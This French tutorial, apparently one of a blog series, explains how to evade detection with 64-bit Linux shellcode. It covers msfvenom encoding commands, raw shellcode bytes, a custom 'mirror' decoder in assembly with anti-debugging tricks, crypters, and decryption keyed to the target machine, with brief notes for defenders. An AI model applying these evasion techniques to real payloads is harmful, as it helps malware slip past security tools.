L’objet de cette série d’articles est d’aborder quelques techniques d’évasion pour des shellcodes.
Cet article fait suite à l’article précédent Linux shellcode 64 bites – Obfuscation
Encoders
Le shellcode vu dans l‘article précédent est obfusqué, c’est pas mal, mais on peut faire mieux en utilisant des encoders.
Pour encoder votre shellcode vous avez le choix entre :
- Utiliser un encoder existant
- Modifier un encoder existant
- Créer un nouveau encoder
- Utiliser un encoder existant
C’est la solution de facilité mais il faut savoir que les signatures et les algorithmes des encoders publiques sont connues. Si vous pensez à l’encoder polymorphique « shikata ga nai » de Metasploit et bien il est facilement repérable de part la présence systématique de l’instruction (suspecte) FNSTENV.
Si malgré tout la technique vous tente, vous pouvez utiliser l’utilitaire msfvenom de Metasploit.
D’abord, exporter votre shellcode sous format d’opcodes :
for i in $(objdump -d sc64 |grep "^ " |cut -f2); do echo -n '\x'$i; done;echo \xeb\x01\xe9\x48\xb9\x02\x50\x4a\x42\x01\x53\x50\x00\x48\x0f\x6e\xc1\x48\xb9\x2d\x12\x1f\x2c\x2e\x20\x18\x00\x48\x0f\x6e\xc9\x0f\xdc\xc1\x48\x0f\x7e\xc1\x0f\x77\x48\x31\xd2\xb0\x30\x51\x48\x8d\x3c\x24\x04\x0b\x0f\x05
Ensuite il suffit d’envoyer ces opcodes dans un des encoders de msfvenom. Pour avoir la liste des encoders disponibles :
msfvenom -l encoders
Exemple d’encodage du shellcode avec l’encoder XOR :
echo -ne "\xeb\x01\xe9\x48\xb9\x02\x50\x4a\x42\x01\x53\x50\x00\x48\x0f\x6e\xc1\x48\xb9\x2d\x12\x1f\x2c\x2e\x20\x18\x00\x48\x0f\x6e\xc9\x0f\xdc\xc1\x48\x0f\x7e\xc1\x0f\x77\x48\x31\xd2\xb0\x30\x51\x48\x8d\x3c\x24\x04\x0b\x0f\x05 " | msfvenom -f c -e x64/xor -a x64 --platform linux
Cyberdéfense
En principe les outils modernes du marché suffisent à bloquer ce genre d’encoders car les signatures et algorithmes sont connues.
2. Modifier un encoder existant
Il suffit de prendre le code source de l’encoder, de le modifier un peu en ajoutant quelques instructions même inutiles. Cela suffit souvent à passer à travers les outils basés sur les signatures ou du pattern-matching.
Cyberdéfense
Les outils basés sur les signatures uniquement ne suffisent plus dans ce cas là, il faut utiliser d’autres techniques de détections, comme l’analyse comportementale en faisant par exemple appel à l’émulation de code.
3. Créer un nouveau encoder
L’avantage d’un encoder tout nouveau c’est que sa signature et son algorithme ne sont pas connus, c’est ce que je vous propose dans cet article.
Le principe est relativement simple : dans un premier temps il faut dumper les opcodes du shellcode puis créer un algorithme qui mixe tous ces opcodes.
Afin de récupérer les opcodes, tous les moyens sont bons, un script Python, un éditeur hexadécimal, la commande xxd, etc…
Sinon vous pouvez toujours récupérer un script de dump tout fait sur www.commandlinefu.com
Une fois que vous avez votre suite d’opcodes il faut trouver une façon de les encoder. Dans ce domaine tout est possible, libre cours à votre imagination !
L’algorithme proposé ici est sommaire, il s’agit de swapper les opcodes comme dans un miroir. J’échange le premier opcode avec le dernier opcode, le deuxième avec l’avant-dernier, etc, La condition pour que cet algorithme fonctionne est un nombre pair d’opcodes ; si ce n’est pas le cas il suffit d’ajouter une instruction inutile en fin de code comme un nop.
Voila, une fois l’algorithme défini, il n’y a plus qu’à le baptiser, coder l’encoder, en général en Python, puis le decoder en assembleur ; j’ai appelé cet encoder, le « mirror encoder ».
Je n’ai pas mis ici le code source de l’encoder, si cela vous intéresse faites-moi signe, je le mettrai en ligne.
Quant au decoder, voici un exemple d’implémentation en assembleur 64 bits utilisant la technique du « JMP-CALL-POP » :
; Author : Patrice Siracusa ; ; $ nasm -f elf64 sc64.nasm -o sc64.o ; $ ld sc64.o -o sc64 global _start section .text _start: jmp begin+1 ; anti dump, disalign opcode begin: db 0xe9 ; anti debugging rdtsc ; get current timestamp (saved in a 64 bit value: EDX [first half], EAX [second half]) xor ecx,ecx ; sets ECX to zero add ecx,eax ; save timestamp to ECX rdtsc ; get another timestamp sub eax,ecx ; compute elapsed ticks cmp eax,0xFFF ; jump if less than FFF ticks (assumes that program is not running under a debugging tool like gdb...) jl next retn ; program crash next: jmp ONSTACK GO_LOOP: pop r8 ; r8 is the SC address xor rcx, rcx ; offset to first SC byte mov rdx, 0x3d ; offset to last SC byte = SC length -1 LOOP: cmp rcx, 0x1F ; SC length / 2 - stop swapping bytes when we are in the middle je SC ; go to decoded shell code mov al, byte [r8+rcx] ; save values mov bl, byte [r8+rdx] mov byte [r8+rcx], bl ; swap values mov byte [r8+rdx], al inc rcx ; go to next byte from left to right dec rdx ; go to next byte from right to left jmp LOOP section .data ONSTACK: call GO_LOOP SC: db 0x05,0x0f,0x0b,0x04,0x24,0x3c,0x8d,0x48,0x51,0x08,0xe9,0xc1,0x48,0x30,0xb0,0x08,0xe1,0xc1,0x48,0xd2,0x31,0x48,0x77,0x0f,0xc1,0x7e,0x0f,0x48,0xc1,0xdc,0x0f,0xc9,0x6e,0x0f,0x48,0x69,0x18,0x20,0x2e,0x2c,0x1f,0x12,0x2d,0xb9,0x48,0xc1,0x6e,0x0f,0x48,0x69,0x50,0x53,0x01,0x42,0x4a,0x50,0x02,0xb9,0x48,0xe9,0x01,0xeb
Cyberdéfense
Un moyen de contrer ces attaques est de passer par de l’émulation de code (je vous conseille d’aller voir le projet Unicorn).
Crypters
Ici l’idée n’est plus d’encoder le shellcode mais bel et bien d’utiliser du chiffrement ( symétrique, ou asymétrique).
Le plus simple est de partir sur un algorithme symétrique comme RC4 ou AES en récupérant une implémentation sur le Net puis de chiffrer le shellcode encodé.
Le chainage
C’est ce que j’appelle la totale !
C’est le chainage de toutes les techniques d’évasion sur un même shellcode.
On part du shellcode d’origine sur lequel on applique de l’obfuscation, puis un encoder et enfin un crypter.
Mais un bon décodeur se doit de masquer sa clef de déchiffrement.
Pour cela il peut utiliser comme clef un identifiant unique de la machine cible (son nom, son ip, etc) de telle sorte que si on exécute ou émule le code du décoder sur une autre machine, on aboutisse à rien de significatif.